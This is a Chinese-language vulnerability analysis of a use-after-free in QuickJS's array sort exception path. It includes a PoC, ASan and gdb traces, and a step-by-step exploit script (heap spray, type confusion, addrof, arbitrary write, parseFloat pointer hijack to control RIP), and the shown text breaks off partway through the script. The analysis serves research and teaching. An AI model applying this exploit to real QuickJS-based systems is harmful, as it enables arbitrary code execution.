从twitter上看到了一个关于quickjs漏洞挖掘与漏洞利用的一次竞赛:http://rce.party/cracksbykim-quickJS.nfo
一共看到6个poc,3个代码审计、2个fuzzing、1个凭感觉..........,最后两个完成了exp,控制了eip/rip。
我试着分析了其中一个漏洞,并记录了整个过程。
0x1 POC
let spray = new Array(100);
let a = [{hack:0},1,2,3,4];
let refcopy = [a[0]];
a.__defineSetter__(3,()=>{throw 1;});
try {
a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;
for (let i=0; i<1000; i++) spray[i] = [13371337];
console.log(refcopy[0]);
用AddressSanitizer编译quickjs源码,根据AddressSanitizer的结果来分析漏洞的触发过程。
AddressSanitizer 结果:
==2368==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000091d0 at pc 0x0000005220c5 bp 0x7fffffff8ab0 sp 0x7fffffff8aa8
READ of size 4 at 0x6070000091d0 thread T0
[New process 2372]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 2372 is executing new program: /usr/lib/llvm-6.0/bin/llvm-symbolizer
Error in re-setting breakpoint 1: No source file named quickjs.c.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
#0 0x5220c4 in JS_DupValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:579:21
#1 0x52ff47 in JS_GetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:6909:20
#2 0x547cfe in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15825:23
#3 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
#4 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
#5 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
#6 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
#7 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
#8 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
#9 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
#10 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
#11 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#12 0x41d909 in _start (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x41d909)
0x6070000091d0 is located 0 bytes inside of 72-byte region [0x6070000091d0,0x607000009218)
freed by thread T0 here:
#0 0x4dd5f0 in __interceptor_free.localalias.0 (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd5f0)
#1 0x66e865 in js_def_free /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1312:5
#2 0x5212a5 in js_free_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1023:5
#3 0x5805fc in free_object2 /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4828:9
#4 0x57fd6a in free_object /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4836:9
#5 0x57fb7c in __JS_FreeValueRT /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4871:9
#6 0x5a8d68 in __JS_FreeValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4906:5
#7 0x51dbd8 in JS_FreeValue.66 /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:560:13
#8 0x55df27 in set_value /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1796:5
#9 0x562dc1 in JS_SetPropertyInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7467:13
#10 0x56d26c in JS_SetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7779:15
#11 0x548901 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15888:23
#12 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
#13 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
#14 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
#15 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
#16 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
#17 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
#18 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
#19 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
#20 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 here:
#0 0x4dd7c0 in malloc (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd7c0)
#1 0x66e6f5 in js_def_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1296:11
#2 0x52e301 in js_malloc_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1018:12
#3 0x52e164 in js_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1058:11
#4 0x59fc5c in JS_NewObjectFromShape /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4162:9
#5 0x51cfd1 in JS_NewObjectProtoClass /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4274:12
#6 0x556f23 in JS_NewObject /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4347:12
#7 0x538b02 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:14591:21
#8 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
#9 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
#10 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
#11 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
#12 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
#13 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
#14 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
#15 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
#16 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
有了AddressSanitizer的帮助我们可以很清楚看到内存是在哪分配的、在哪释放的、在哪又重新引用了。
使用内存
577 if (JS_VALUE_HAS_REF_COUNT(v)) {
578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579 p->ref_count++;
580 }
释放内存
1796 JS_FreeValue(ctx, old_val);
分配内存
14590 CASE(OP_object):
14591 *sp++ = JS_NewObject(ctx);
0x2 简单分析
有了上面的信息,我试着逐行运行poc文件,尝试去理解quickjs是怎么解析js语法的。
let a = [1,2,3] //创建数组
14855 CASE(OP_array_from):
14856 {
14857 int i, ret;
14858
14859 call_argc = get_u16(pc);
14860 pc += 2;
14861 ret_val = JS_NewArray(ctx);
14862 if (unlikely(JS_IsException(ret_val)))
14863 goto exception;
14864 call_argv = sp - call_argc;
14865 for(i = 0; i < call_argc; i++) {
14866 ret = JS_DefinePropertyValue(ctx, ret_val, __JS_AtomFromUInt32(i), call_argv[i],
14867 JS_PROP_C_W_E | JS_PROP_THROW);
14868 call_argv[i] = JS_UNDEFINED;
14869 if (ret < 0) {
14870 JS_FreeValue(ctx, ret_val);
14871 goto exception;
14872 }
14873 }
14874 sp -= call_argc;
14875 *sp++ = ret_val;
14876 }
14877 BREAK;
gdb 调试结果
gdb-peda$ p call_argc
$2 = 0x3
gdb-peda$ p call_argv
$3 = (JSValue *) 0x7fffffff8fd0
gdb-peda$ x /6xg 0x7fffffff8fd0
0x7fffffff8fd0: 0x0000000000000001 0x0000000000000000
0x7fffffff8fe0: 0x0000000000000002 0x0000000000000000
0x7fffffff8ff0: 0x0000000000000003 0x0000000000000000
let a = [{aa:1},0,1,2,3]; //创建object对象,然后创建数组,object引用次数为1
第一步 {aa:1}
14590 CASE(OP_object):
14591 *sp++ = JS_NewObject(ctx);
14592 if (unlikely(JS_IsException(sp[-1])))
14593 goto exception;
14594 BREAK;
第二步创建数组
gdb-peda$ p call_argc
$1 = 0x5
gdb-peda$ p call_argv
$2 = (JSValue *) 0x7fffffff8fb0
gdb-peda$ x /10xg 0x7fffffff8fb0
0x7fffffff8fb0: 0x00006070000091d0 0xffffffffffffffff
0x7fffffff8fc0: 0x0000000000000000 0x0000000000000000
0x7fffffff8fd0: 0x0000000000000001 0x0000000000000000
0x7fffffff8fe0: 0x0000000000000002 0x0000000000000000
0x7fffffff8ff0: 0x0000000000000003 0x0000000000000000
//0x00006070000091d0 object 对象地址
//引用计数
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$3 = {
ref_count = 0x1
}
//赋值的时候引用次数加1
575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
576 {
577 if (JS_VALUE_HAS_REF_COUNT(v)) {
578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579 p->ref_count++;
580 }
581 return (JSValue)v;
582 }
//释放掉之前的 减1
555 static inline void JS_FreeValue(JSContext *ctx, JSValue v)
556 {
557 if (JS_VALUE_HAS_REF_COUNT(v)) {
558 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
559 if (--p->ref_count <= 0) {
560 __JS_FreeValue(ctx, v);
561 }
562 }
563 }
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]]; //创建另一个数组,object引用次数为2
//创建另一个数组 gdb调试信息
gdb-peda$ p call_argc
$10 = 0x1
gdb-peda$ p call_argv
$9 = (JSValue *) 0x7fffffff8fb0
gdb-peda$ x /4xg 0x7fffffff8fb0
0x7fffffff8fb0: 0x00006070000091d0 0xffffffffffffffff
0x7fffffff8fc0: 0x0000000000000000 0x0000000000000000
p *(JSRefCountHeader*)0x00006070000091d0
$16 = {
ref_count = 0x2
}
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;}); //设置数组属性值的方法,箭头函数,抛出异常
14837 CASE(OP_tail_call_method):
14838 {
14839 call_argc = get_u16(pc);
14840 pc += 2;
14841 call_argv = sp - call_argc;
14842 sf->cur_pc = pc;
14843 ret_val = JS_CallInternal(ctx, call_argv[-1], call_argv[-2],
14844 JS_UNDEFINED, call_argc, call_argv, 0);
14845 if (unlikely(JS_IsException(ret_val)))
14846 goto exception;
14847 if (opcode == OP_tail_call_method)
14848 goto done;
14849 for(i = -2; i < call_argc; i++)
14850 JS_FreeValue(ctx, call_argv[i]);
14851 sp -= call_argc + 2;
14852 *sp++ = ret_val;
14853 }
14854 BREAK;
32081 /* magic = 1 if called as __defineSetter__ */
32082 static JSValue js_object___defineGetter__(JSContext *ctx, JSValueConst this_val,
32083 int argc, JSValueConst *argv, int magic)
32084 {
32085 JSValue obj;
32086 JSValueConst prop, value, get, set;
32087 int ret, flags;
32088 JSAtom atom;
32089
32090 prop = argv[0];
32091 value = argv[1];
32092
32093 obj = JS_ToObject(ctx, this_val);
32094 if (JS_IsException(obj))
32095 return JS_EXCEPTION;
..........
..........
}
p *(JSRefCountHeader*)0x00006070000091d0
$3 = {
ref_count = 0x2
}
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;});
try {
a.sort(function(v){return 0;}); //调用js_array_sort函数,调用之前设置的函数,抛出异常。
} catch (e){
//处理异常的时候,object引用次数减1
}
//调用js_array_sort
34645 static JSValue js_array_sort(JSContext *ctx, JSValueConst this_val,
34646 int argc, JSValueConst *argv)
34647 {
34648 struct array_sort_context asc = { ctx, 0, 0, argv[0] };
34649 JSValue obj = JS_UNDEFINED;
34650 ValueSlot *array = NULL;
34651 size_t array_size = 0, pos = 0, n = 0;
34652 int64_t i, len, undefined_count = 0;
34653 int present;
34654
34655 if (!JS_IsUndefined(asc.method)) {
34656 if (check_function(ctx, asc.method))
34657 goto exception;
34658 asc.has_method = 1;
34659 }
34660 obj = JS_ToObject(ctx, this_val);
34661 if (js_get_length64(ctx, &len, obj))
34662 goto exception;
34719 exception:
34720 for (n = 0; n < pos; n++) {
34721 JS_FreeValue(ctx, array[n].val);
34722 if (array[n].str)
34723 JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
34724 }
34725 js_free(ctx, array);
#0 js_array_sort (ctx=0x7fffffff49a0, this_val=<error reading variable: Cannot access memory at address 0x40>, argc=0x0, argv=0x7fffffff4ab0)
at quickjs.c:34647
#1 0x0000000000553606 in js_call_c_function (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0)
at quickjs.c:14236
#2 0x000000000053642d in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0)
at quickjs.c:14430
#3 0x000000000053ba6a in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x0, argv=0x0, flags=0x2)
at quickjs.c:14843
#4 0x0000000000522412 in JS_CallFree (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x0, argv=0x0) at quickjs.c:16768
exception 的时候object引用次数减1
此时0x00006070000091d0
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$56 = {
ref_count = 0x1
}
let a = [{hack:0},1,2,3,4];
a[0] = 0; //重新为a[0]赋值,之前a[0]的值是一个object对象,判断引用次数,如果为0,则释放该对象。
创建数组
第二步数组赋值
15884 CASE(OP_put_array_el):
15885 {
15886 int ret;
15887
15888 ret = JS_SetPropertyValue(ctx, sp[-3], sp[-2], sp[-1], JS_PROP_THROW_STRICT);
15889 JS_FreeValue(ctx, sp[-3]);
15890 sp -= 3;
15891 if (unlikely(ret < 0))
15892 goto exception;
15893 }
15894 BREAK;
设置新值
1791 static inline void set_value(JSContext *ctx, JSValue *pval, JSValue new_val)
1792 {
1793 JSValue old_val;
1794 old_val = *pval;
1795 *pval = new_val;
1796 JS_FreeValue(ctx, old_val);
1797 }
之前的值判断引用计数
555 static inline void JS_FreeValue(JSContext *ctx, JSValue v)
556 {
557 if (JS_VALUE_HAS_REF_COUNT(v)) {
558 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
559 if (--p->ref_count <= 0) {
560 __JS_FreeValue(ctx, v);
561 }
562 }
563 }
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$56 = {
ref_count = 0x0
}
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;});
try {
a.sort(function(v){return 0;});
} catch (e){ }
a[0] = 1; //同理上面
refcopy[0]; //最后heap use after free
while(1);
//取数组值
15821 CASE(OP_get_array_el):
15822 {
15823 JSValue val;
15824
15825 val = JS_GetPropertyValue(ctx, sp[-2], sp[-1]);
15826 JS_FreeValue(ctx, sp[-2]);
15827 sp[-2] = val;
15828 sp--;
15829 if (unlikely(JS_IsException(val)))
15830 goto exception;
15831 }
15832 BREAK;
//使用内存
575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
576 {
577 if (JS_VALUE_HAS_REF_COUNT(v)) {
578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579 p->ref_count++;
580 }
581 return (JSValue)v;
582 }
0x3 利用
利用exp见文章末尾。
漏洞利用最终实现过程,利用free掉的内存造成类型混淆,利用类型混淆泄漏任意地址,得到parseFloat函数地址,利用任意地址写任意内容,覆盖parseFloat函数地址跳到我们的可控地址。
3.1
调用parseFloat函数的过程
RAX 0x46f680 (js_parseFloat) ◂— push rbp
RIP 0x416e2b (js_call_c_function+603) ◂— call rax
─────────────[ DISASM ]─────────────
► 0x416e2b <js_call_c_function+603> call rax <0x46f680>
─────────────[ SOURCE (CODE) ]─────────
In file: /home/test/Desktop/quick/quickjs-2019-07-09xx/quickjs.c
14231 }
14232 }
14233 /* here this_obj is new_target */
14234 /* fall thru */
14235 case JS_CFUNC_generic:
► 14236 ret_val = func.generic(ctx, this_obj, argc, arg_buf);
14237 break;
3.2
几个关键的结构体
JSObject
667 struct JSObject {
668 JSRefCountHeader header; /* must come first, 32-bit */
669 JSGCHeader gc_header; /* must come after JSRefCountHeader, 8-bit */
670 uint8_t extensible : 1;
671 uint8_t free_mark : 1; /* only used when freeing objects with cycles */
672 uint8_t is_exotic : 1; /* TRUE if object has exotic property handlers */
673 uint8_t fast_array : 1; /* TRUE if u.array is used for get/put */
674 uint8_t is_constructor : 1; /* TRUE if object is a constructor function */
675 uint8_t is_uncatchable_error : 1; /* if TRUE, error is not catchable */
676 uint8_t is_class : 1; /* TRUE if object is a class constructor */
677 uint8_t tmp_mark : 1; /* used in JS_WriteObjectRec() */
678 uint16_t class_id; /* see JS_CLASS_x */
679 /* byte offsets: 8/8 */
680 struct list_head link; /* object list */
681 /* byte offsets: 16/24 */
682 JSShape *shape; /* prototype and property names + flag */
683 JSProperty *prop; /* array of properties */
684 /* byte offsets: 24/40 */
685 struct JSMapRecord *first_weak_ref; /* XXX: use a bit and an external hash table? */
686 /* byte offsets: 28/48 */
687 union {
....
....
...
}
JSString
384 struct JSString {
385 JSRefCountHeader header; /* must come first, 32-bit */
386 uint32_t len : 31;
387 uint8_t is_wide_char : 1; /* 0 = 8 bits, 1 = 16 bits characters */
388 uint32_t hash : 30;
389 uint8_t atom_type : 2; /* != 0 if atom, JS_ATOM_TYPE_x */
390 uint32_t hash_next; /* atom_index for JS_ATOM_TYPE_SYMBOL */
391 #ifdef DUMP_LEAKS
392 struct list_head link; /* string list */
393 #endif
394 union {
395 uint8_t str8[0]; /* 8 bit strings will get an extra null terminator */
396 uint16_t str16[0];
397 } u;
398 };
JSArrayBuffer
516 typedef struct JSArrayBuffer {
517 int byte_length; /* 0 if detached */
518 uint8_t detached;
519 uint8_t shared; /* if shared, the array buffer cannot be detached */
520 uint8_t *data; /* NULL if detached */
521 struct list_head array_list;
522 void *opaque;
523 JSFreeArrayBufferDataFunc *free_func;
524 } JSArrayBuffer;
3.3
漏洞利用,造成类型混淆
//触发漏洞,和poc一样。
a = [
[0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
....
.... //内存要足够大
], 1, 2, 3, 4
];
refcopy = a[0];
a.__defineSetter__(3, function () {
throw 1;
});
try {
a.sort(function (v) {
return 0;
});
} catch (e) {}
//根据引用计数,释放掉之前的a[0]内存。此时内存类型为JSObject。
a[0] = 0x61616161;
//释放掉a[0]之后,重新分配JSString类型的内存。
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
//释放刚刚申请的JSString类型的内存。
refcopy = 0;
//申请一块新的内存,类型大小和a[0]一致,此时refill_1和refill_0指向同一块内存。
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, //和a[0]一样
...
...
];
//通过refill_0访问该内存时,该内存类型为JSString。
//通过refill_1访问该内存时,该内存类型为JSObject。
//造成类型混淆
创建第二个数组时,对应的gdb信息
//此时数组0保存第一个数组的地址(JSObject),JSObject+56 偏移处保存着指向value的地址。
//重新分配JSString类型的内存。
(由于ASLR,地址变了,其实是上图中那个地址一致)
3.4
通过类型混淆泄漏JSObject的信息
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = refill_0.slice(i, i + 4);
for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}
var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));
3.5
释放refill_1和refill_0之前的值,设置为JSObjects内存。
refill_1、refill_0指向同一块内存
refill_1 = 0;
refill_1 = [0x1337, 0x1337];
refill_0 = 0;
refill_0 = [0x71717171];
3.6
free refill_1内存,重新分配refill_1指向内存类型为jsArrayBuffer。
refill_1、refill_0指向同一块内存,refill_0类型JSObject, refill_1类型为jsArrayBuffer。
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);
此时JsArrayBuffer的data地址刚好是之前那块JSObject地址,接下来通过refill_1设置JSObject的内存。
(由于ASLR,地址变了,其实是上图中那个地址一致)
3.7
通过refill_1,设置内存的值为之前泄漏的JSObject对象的值,但是JSObject对象值的地址+0x2000,跳到堆喷可控得内存区。
后边利用这个操作,泄漏任意地址。
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;
for (var i = 4; i < 0x48 / 4; i++) {
refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));
此时gdb中,JSObject values的值,指向了堆喷中的地址,+56。
(由于ASLR,地址变了,其实是上图中那个地址一致)
3.8
一开始的内存布局,堆喷、变量spray、jsobj_leak_data、x、y、master、slave
spray = [];
jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);
// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
master = new Uint32Array(0x40);
master.fill(0x31313131);
slave = new Uint32Array(0x40);
slave.fill(0x61616161);
print("starting exploit");
print("spraying buffers");
for (var i = 0; i < 0x400; i++) {
var x = new Uint32Array(0x1000 / 4);
x.fill(0x51515151);
spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}
3.9
此处JSObject值得地址已经指向了spray区,通过refill_0[0]操作的是之前spray值。
在spray中找到我们刚刚修改的那个值,确定他的地址和index,后边有用
refill_0[0] = 0x1; //modify spray value
var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i] && spray[i][j] == 0x1) {
overlap_buf = spray[i];
overlap_index = j;
print("overlap found");
print("spray index = " + i.toString(16));
print("index into buffer = " + j.toString(16));
}
}
}
此时gdb中,通过JSObject values修改了spray数组。
3.10
利用上面的操作,泄漏任意地址。
在refill_0[0]处赋值为函数地址,通过overlap_buf把此处的地址读出来
可以得到parseFloat的地址、master字符串的地址、slave字符串的地址
function addrof(obj) {
refill_0[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
refill_0[0] = 0;
return ret;
}
print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);
print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));
此时gdb中,此时spray数组值为master addr,通过spray把地址读出来造成任意地址泄漏。
3.11
refill_0类型JSObject, refill_1类型为ArrayBuffer。
利用refill_1重新设置JSObject值得地址,让他指向master->values得地址。
利用refill_0设置master->values ==》 slave
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
此时gdb中,master->values ==》 slave。
3.12
任意地址写
function write64(addr, val) {
master[56 / 4] = (addr & 0xffffffff) >>> 0;
master[60 / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}
print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();
任意地址写
控制rip地址
0x4 exp
function toint64(low, high) {
return low + high * 0x100000000;
}
function fromint64(val) {
return [val & 0xffffffff, val / 0x100000000];
}
// Global variables we are using
var a;
var refcopy;
var refill_0;
var refill_1;
var spray;
var jsobj_leak_data;
var x;
var y;
var master;
var slave;
var master_addr;
var slave_addr;
var test;
var test_addr;
var fake_test;
var test_values;
var test_values_read;
spray = [];
jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);
// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
master = new Uint32Array(0x40);
master.fill(0x31313131);
slave = new Uint32Array(0x40);
slave.fill(0x61616161);
print("starting exploit");
print("spraying buffers");
for (var i = 0; i < 0x400; i++) {
var x = new Uint32Array(0x1000 / 4);
x.fill(0x51515151);
spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}
print("placing target");
a = [
[0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
], 1, 2, 3, 4
];
print("grabbing reference to target");
refcopy = a[0];
print("triggering bug");
a.__defineSetter__(3, function () {
throw 1;
});
try {
a.sort(function (v) {
return 0;
});
} catch (e) {}
print("freeing target twice and overlaping JSString and JSObject");
a[0] = 0x61616161;
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
refcopy = 0;
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
